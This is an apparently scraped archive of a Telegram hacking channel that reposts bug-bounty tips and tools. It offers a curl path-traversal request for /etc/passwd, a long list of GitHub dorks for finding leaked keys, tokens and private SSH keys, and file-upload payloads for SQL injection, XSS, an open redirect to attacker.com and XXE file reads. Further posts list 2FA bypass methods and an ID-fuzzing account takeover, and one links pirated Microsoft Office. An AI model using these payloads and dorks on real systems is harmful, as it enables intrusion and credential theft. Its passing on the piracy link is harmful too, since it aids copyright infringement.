Termux All Command [Telegram Group]
رفتن به کانال در Telegram
Hello This Is Termux All Command Official Telegram Group. Here Share All Kind of Resourses. It is Also backup of Facebook Page Telegram Channel >> https://t.me/termuxcommandfull Facebook Page >> https://www.facebook.com/termux.command.full
نمایش بیشتر1 184
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+147 روز
+4730 روز
آرشیو پست ها
Free Power Point Template ::
https://www.free-power-point-templates.com/
fppt.com
Name : Microsoft Office 2024 LTSC Pro Plus Free Download
Download : https://drive.google.com/file/d/1KqIp2UIm90QhyXS1CwWkrQi93ueoyYR7/view
Password : rirobin
Those Highlighter. You can use for reading blog and highlight some tontent!!
🚨 🚨 🚨 Too many people miss critical vulnerabilities because they assume a GET request can't have a body! 🚨 🚨 🚨
This is how you can send such a request using #curl :
$ curl 'target:1234/download?filename=TEST' --data 'filename=../../../../../../../etc/passwd' -X GET
Rest stands for representational state transfer. Restful PSR is commonly used in web development to build scalable and efficient web services. Restful APIs provided a standardized and scalable yeah, put school building web services then can be conceived by various client access different platforms this is stateless and this is kind server this is interface gate post put delete
🔥🔥Github-Dork🚀🚀🔥🔥
Happy Hunting
🔍 api_key
🔍 app_AWS_SECRET_ACCESS_KEY
🔍 app_secret
🔍 authoriztion
🔍 Ldap
🔍 aws_access_key_id
🔍 secret
🔍 bash_history
🔍 bashrc%20password
🔍 beanstalkd
🔍 client secre
🔍 composer
🔍 config
🔍 credentials
🔍 DB_PASSWORD
🔍 dotfiles
🔍 .env file
🔍 .exs file
🔍 extension:json mongolab.com
🔍 extension:pem%20private
🔍 extension:ppk private
🔍 extension:sql mysql dump
🔍 extension:yaml mongolab.com
🔍 .mlab.com password
🔍 mysql
🔍 npmrc%20_auth
🔍 passwd
🔍 passkey
🔍 rds.amazonaws.com password
🔍 s3cfg
🔍 send_key
🔍 token
🔍 filename:.bash_history
🔍 filename:.bash_profile aws
🔍 filename:.bashrc mailchimp
🔍 filename:CCCam.cfg
🔍 filename:config irc_pass
🔍 filename:config.php dbpasswd
🔍 filename:config.json auths
🔍 filename:config.php pass
🔍 filename:config.php dbpasswd
🔍 filename:connections.xml
🔍 filename:.cshrc
🔍 filename:.git-credentials
🔍 filename:.ftpconfig
🔍 filename:.history
🔍 filename:gitlab-recovery-codes.txt
🔍 filename:.htpasswd
🔍 filename:id_rsa
🔍 filename:.netrc password
🔍 FTP
🔍 filename:wp-config.php
🔍 git-credentials
🔍 github_token
🔍 HEROKU_API_KEY language:json
🔍 HEROKU_API_KEY language:shell
🔍 GITHUB_API_TOKEN language:shell
🔍 oauth
🔍 OTP
🔍 databases password
🔍 [WFClient] Password= extension:ica
🔍 xoxa_Jenkins
🔍 security_credentials
#bugbountytips #GitHub
In today’s digital world, protecting our personal information is more important than ever. Unfortunately, malicious tools exist designed to steal this information.
One such tool is a Remote Access Trojan, also known as a RAT.
https://medium.com/@hackbyabd/what-is-a-rat-how-does-it-work-and-how-can-you-stay-safe-briefly-explain-by-hackbyabd-17308b0cebf5
This article will delve into the world of RATs, explaining what they are, how they work, and, most importantly, how you can secure yourself from falling victim to one.
Now you can detect phishing websites quickly with Nuclei:nuclei -l websites_Possible_Phishing -tags phishing -itags phishing
🖥Chaining Vulnerabilities through File Upload🖥
SLQi⏳
'sleep(20).jpg
sleep(25)-- -.jpg
Path traversal⏳
../../etc/passwd/logo.png
../../../logo.png
XSS⏳
-> Set file name filename="svg onload=alert(document.domain)>" , filename="58832_300x300.jpg<svg onload=confirm()>"
-> Upload using .gif file
GIF89a/<svg/onload=alert(1)>/=alert(document.domain)//;
-> Upload using .svg file
<svg xmlns="w3.org/2000/svg" onload="alert(1)"/>
-> <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "w3.org/Graphics/SVG/1…"><svg version="1.1" baseProfile="full" xmlns="w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>
Open redirect ⏳
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='attacker.com'"
xmlns="w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>
XXE ⏳
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="w3.org/2000/svg" xmlns:xlink="w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>
2FA Bypass Techniques
1. Response manipulation
2. Status code manipulation
3. 2FA code reusability
4. 2FA code leakage
5. Lack of brute-force protection
6. Bypassing 2FA with null or 000000
8. Missing 2FA code integrity validation
9.Handling of Previous Sessions
41 Web Vulnerability Poc videos 🛡️
• Sql Injection 💉
• Remote Code Execution (RCE) 💻
• Cross Site Scripting (XSS) 🌐
• Server Side Request Forgery (SSRF) 🛑
• Cross Site Request Forgery (CSRF) 🔄
• Insecure direct object references (IDOR) 🚫
• Cross-origin resource sharing (CORS) 🔄
• Command Injection ⚔️
• File Upload Vulnerability 📁
• Directory Traversal 📂
• Local File Inclusion (LFI) 📄
• Subdomain Takeover 🏰
• Broken Link Hijacking 🚫
• Information Disclosure 📝
• XXE injection 🕸️
• Clickjacking 👀
And more..! 🚨
🌐DRIVE LINK:
🔗https://lnkd.in/gB9PMgQH
Finish your month's work in just 10 minutes using 5 AI tools: 🔥👇 1. FeedbackbyAI. com : 100+ page Business Report in one click. 2. Perplexity. ai : A Powerful AI Search Engine. 3. Invideo. io : Create videos for Youtube Channel from text prompt in minutes. 4. Flair AI : Powerful AI Visual Editor for your Product Photography. 5. Galileo AI : A UI generation platform, create designs easily. #most #useful #savetime #powerful #aitools #aiwebsites
1- Found login page in wayback
2- Fuzzing parameter, found parameter called ID
3- Fuzz ID with intruder in burp from 1-10000
4- There’s some ID’s have different content-length
5- When i use url with these ID’s there’s JwT in response than redirect me to account
#bugbountytips
🔰How to Bypass Mega Download Limit Using Megabasterd🔰
FOLLOW THE STEPS1] Download MegaBasterds Software: GitHub -
https://github.com/tonikelope/megabasterd2] Unzip the files
3] Copy the mega link of file you want to download.4] Run the Mega Basterd Windows Batch file
5] Click on File option on the left corner and click on New Download6] Paste the link and start downloading!!
7) Connect to different ip when stops downloading and try again
Unmute Notification & Share Channel For More Content
https://t.me/ZerodayExploitware
terabox file download without terabox :: https://indexsubtitle.cc/terabox-direct-link-generator
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
